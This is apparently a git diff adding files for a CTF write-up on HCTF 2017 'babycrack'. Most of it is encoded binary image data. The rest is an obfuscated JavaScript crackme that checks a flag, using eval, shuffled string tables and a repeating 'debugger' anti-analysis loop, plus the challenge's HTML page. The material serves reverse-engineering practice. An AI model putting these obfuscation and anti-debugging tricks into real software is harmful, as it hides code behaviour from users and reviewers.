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','Congratulations!\x20you\x20got\x20it!','Sorry,\x20you\x20are\x20wrong...','window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)','version','error','download','substring','push','Function','charAt','idle','pyW5F1U43VI','init','https://the-extension.com','local','storage','eval','then','get','getTime','setUTCHours','origin','set','GET','loading','status','removeListener','onUpdated','callee','addListener','onMessage','runtime','executeScript','data','test','http://','Url\x20error','query','filter','active','floor'];(function(_0xd4b7d6,_0xad25ab){var _0x5e3956=function(_0x1661d3){while(--_0x1661d3){_0xd4b7d6['push'](_0xd4b7d6['shift']());}};_0x5e3956(++_0xad25ab);}(_0x180a,0x1a2));var _0xa180=function(_0x5c351c,_0x2046d8){_0x5c351c=_0x5c351c-0x0;var _0x26f3b3=_0x180a[_0x5c351c];return _0x26f3b3;};function check(_0x5b7c0c){try{var _0x2e2f8d=['code',_0xa180('0x0'),_0xa180('0x1'),_0xa180('0x2'),'invalidMonetizationCode',_0xa180('0x3'),_0xa180('0x4'),_0xa180('0x5'),_0xa180('0x6'),_0xa180('0x7'),_0xa180('0x8'),_0xa180('0x9'),_0xa180('0xa'),_0xa180('0xb'),_0xa180('0xc'),_0xa180('0xd'),_0xa180('0xe'),_0xa180('0xf'),_0xa180('0x10'),_0xa180('0x11'),'url',_0xa180('0x12'),_0xa180('0x13'),_0xa180('0x14'),_0xa180('0x15'),_0xa180('0x16'),_0xa180('0x17'),_0xa180('0x18'),'tabs',_0xa180('0x19'),_0xa180('0x1a'),_0xa180('0x1b'),_0xa180('0x1c'),_0xa180('0x1d'),'replace',_0xa180('0x1e'),_0xa180('0x1f'),'includes',_0xa180('0x20'),'length',_0xa180('0x21'),_0xa180('0x22'),_0xa180('0x23'),_0xa180('0x24'),_0xa180('0x25'),_0xa180('0x26'),_0xa180('0x27'),_0xa180('0x28'),_0xa180('0x29'),'toString',_0xa180('0x2a'),'split'];var _0x50559f=_0x5b7c0c[_0x2e2f8d[0x5]](0x0,0x4);var _0x5cea12=parseInt(btoa(_0x50559f),0x20);eval(function(_0x200db2,_0x177f13,_0x46da6f,_0x802d91,_0x2d59cf,_0x2829f2){_0x2d59cf=function(_0x4be75f){return _0x4be75f['toString'](_0x177f13);};if(!''['replace'](/^/,String)){while(_0x46da6f--)_0x2829f2[_0x2d59cf(_0x46da6f)]=_0x802d91[_0x46da6f]||_0x2d59cf(_0x46da6f);_0x802d91=[function(_0x5e8f1a){return _0x2829f2[_0x5e8f1a];}];_0x2d59cf=function(){return _0xa180('0x2b');};_0x46da6f=0x1;};while(_0x46da6f--)if(_0x802d91[_0x46da6f])_0x200db2=_0x200db2[_0xa180('0x2c')](new RegExp('\x5cb'+_0x2d59cf(_0x46da6f)+'\x5cb','g'),_0x802d91[_0x46da6f]);return _0x200db2;}(_0xa180('0x2d'),0x11,0x11,_0xa180('0x2e')['split']('|'),0x0,{}));(function(_0x3291b7,_0xced890){var _0xaed809=function(_0x3aba26){while(--_0x3aba26){_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());}};_0xaed809(++_0xced890);}(_0x2e2f8d,_0x5cea12%0x7b));var _0x43c8d1=function(_0x3120e0){var _0x3120e0=parseInt(_0x3120e0,0x10);var _0x3a882f=_0x2e2f8d[_0x3120e0];return _0x3a882f;};var _0x1c3854=function(_0x52ba71){var _0x52b956='0x';for(var _0x59c050=0x0;_0x59c050<_0x52ba71[_0x43c8d1(0x8)];_0x59c050++){_0x52b956+=_0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);}return _0x52b956;};var _0x76e1e8=_0x5b7c0c[_0x43c8d1(0xe)]('_');var _0x34f55b=(_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2,0x2))^_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4,0x1)))%_0x76e1e8[0x0][_0x43c8d1(0x8)]==0x5;if(!_0x34f55b){return![];}b2c=function(_0x3f9bc5){var _0x3c3bd8='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';var _0x4dc510=[];var _0x4a199f=Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)]/0x5);var _0x4ee491=_0x3f9bc5[_0x43c8d1(0x8)]%0x5;if(_0x4ee491!=0x0){for(var _0x1e1753=0x0;_0x1e1753<0x5-_0x4ee491;_0x1e1753++){_0x3f9bc5+='';}_0x4a199f+=0x1;}for(_0x1e1753=0x0;_0x1e1753<_0x4a199f;_0x1e1753++){_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)>>0x3));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)&0x7)<<0x2|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)>>0x6));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x3f)>>0x1));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x1)<<0x4|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)>>0x4));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)&0xf)<<0x1|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)>>0x7));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x7f)>>0x2));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x3)<<0x3|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)>>0x5));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)&0x1f));}var _0x545c12=0x0;if(_0x4ee491==0x1)_0x545c12=0x6;else if(_0x4ee491==0x2)_0x545c12=0x4;else if(_0x4ee491==0x3)_0x545c12=0x3;else if(_0x4ee491==0x4)_0x545c12=0x1;for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0xa180('0x2f')]();for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0x43c8d1('1b')]('=');(function(){(function _0x3c3bd8(){try{(function _0x4dc510(_0x460a91){if((''+_0x460a91/_0x460a91)[_0xa180('0x30')]!==0x1||_0x460a91%0x14===0x0){(function(){}['constructor']('debugger')());}else{debugger;}_0x4dc510(++_0x460a91);}(0x0));}catch(_0x30f185){setTimeout(_0x3c3bd8,0x1388);}}());}());return _0x4dc510[_0xa180('0x31')]('');};e=_0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0])^0x53a3f32;if(e!=0x4b7c0a73){return![];}f=_0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0])^e;if(f!=0x4315332){return![];}n=f*e*_0x76e1e8[0x0][_0x43c8d1(0x8)];h=function(_0x4c466e,_0x28871){var _0x3ea581='';for(var _0x2fbf7a=0x0;_0x2fbf7a<_0x4c466e[_0x43c8d1(0x8)];_0x2fbf7a++){_0x3ea581+=_0x28871(_0x4c466e[_0x2fbf7a]);}return _0x3ea581;};j=_0x76e1e8[0x1][_0x43c8d1(0xe)]('3');if(j[0x0][_0x43c8d1(0x8)]!=j[0x1][_0x43c8d1(0x8)]||(_0x1c3854(j[0x0])^_0x1c3854(j[0x1]))!=0x1613){return![];}k=_0xffcc52=>_0xffcc52[_0x43c8d1('f')]()*_0x76e1e8[0x1][_0x43c8d1(0x8)];l=h(j[0x0],k);if(l!=0x2f9b5072){return![];}m=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0,0x4))-0x48a05362==n%l;function _0x5a6d56(_0x5a25ab,_0x4a4483){var _0x55b09f='';for(var _0x508ace=0x0;_0x508ace<_0x4a4483;_0x508ace++){_0x55b09f+=_0x5a25ab;}return _0x55b09f;}if(!m||_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5,0x1),0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5,0x4)||_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2,0x1)-_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)!=0x1){return![];}o=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2))[_0x43c8d1(0xd)](0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x1)[_0x43c8d1('f')]()*_0x76e1e8[0x4][_0x43c8d1(0x8)]*0x5;return o&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)==0x2&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2)==_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7,0x1),0x2);}catch(_0x4cbb89){console['log']('gg');return![];}}function test(){var _0x5bf136=document[_0xa180('0x32')](_0xa180('0x33'))['value'];if(_0x5bf136==''){console[_0xa180('0x34')](_0xa180('0x35'));return![];}var _0x4d0e29=check(_0x5bf136);if(_0x4d0e29){alert(_0xa180('0x36'));}else{alert(_0xa180('0x37'));}}window['onload']=function(){setInterval(_0xa180('0x38'),0x32);test();}; \ No newline at end of file diff --git a/src/writeup/6.3.1_web_hctf2017_babycrack/index.html b/src/writeup/6.3.1_web_hctf2017_babycrack/index.html new file mode 100644 index 0000000..3637513 --- /dev/null +++ b/src/writeup/6.3.1_web_hctf2017_babycrack/index.html @@ -0,0 +1,49 @@ + + + Welcome to HCTF + + + + +
+

H4v3 a g0od t1m3!:>

+ +
+ +
+
+ + \ No newline at end of file diff --git a/src/writeup/6.3.1_web_hctf2017_babycrack/leimu.jpg b/src/writeup/6.3.1_web_hctf2017_babycrack/leimu.jpg new file mode 100644 index 0000000000000000000000000000000000000000..50609f5f9056c4a0a06ba4cfa436e7dc25e362e9 GIT binary patch literal 204451 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 